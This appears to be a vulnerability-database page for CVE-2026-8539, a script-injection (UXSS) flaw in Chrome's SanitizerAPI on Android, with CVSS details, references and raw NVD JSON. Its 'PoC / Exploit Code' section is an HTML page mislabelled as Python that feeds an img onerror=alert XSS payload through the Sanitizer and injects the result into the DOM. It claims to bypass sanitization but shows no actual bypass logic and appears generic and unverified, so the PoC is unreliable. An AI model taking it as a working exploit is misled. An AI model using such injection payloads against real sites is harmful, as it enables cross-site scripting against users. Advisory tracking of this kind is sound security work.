CVE-2026-8539

Description

Script injection in SanitizerAPI in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome (Android) < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8539 -->
<!-- This PoC demonstrates script injection via SanitizerAPI -->
<!DOCTYPE html>
<html>
<body>
<div id="container"></div>
<script>
  // Configuration for the sanitizer
  const config = {
    allowElements: ['span', 'img'],
    allowAttributes: {'src': ['img']}
  };

  // Crafted payload designed to bypass sanitization
  // Exploiting the logic flaw in versions prior to 148.0.7778.168
  const dirtyInput = '<span><img src=x onerror=alert(\'CVE-2026-8539\')></span>';

  // Create sanitizer and process input
  const sanitizer = new Sanitizer(config);
  
  try {
    // Attempt to sanitize the string
    const cleanFragment = sanitizer.sanitizeFor('div', dirtyInput);
    
    // Inject the processed content into the DOM
    document.getElementById('container').appendChild(cleanFragment);
  } catch (e) {
    console.error('Sanitization failed:', e);
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8539
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8539
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8539/
[4] VulDB https://vuldb.com/cve/CVE-2026-8539
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/496524586

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8539", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:14.760", "lastModified": "2026-05-14T22:16:48.000", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Script injection in SanitizerAPI in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496524586", "source": "[email protected]"}]}}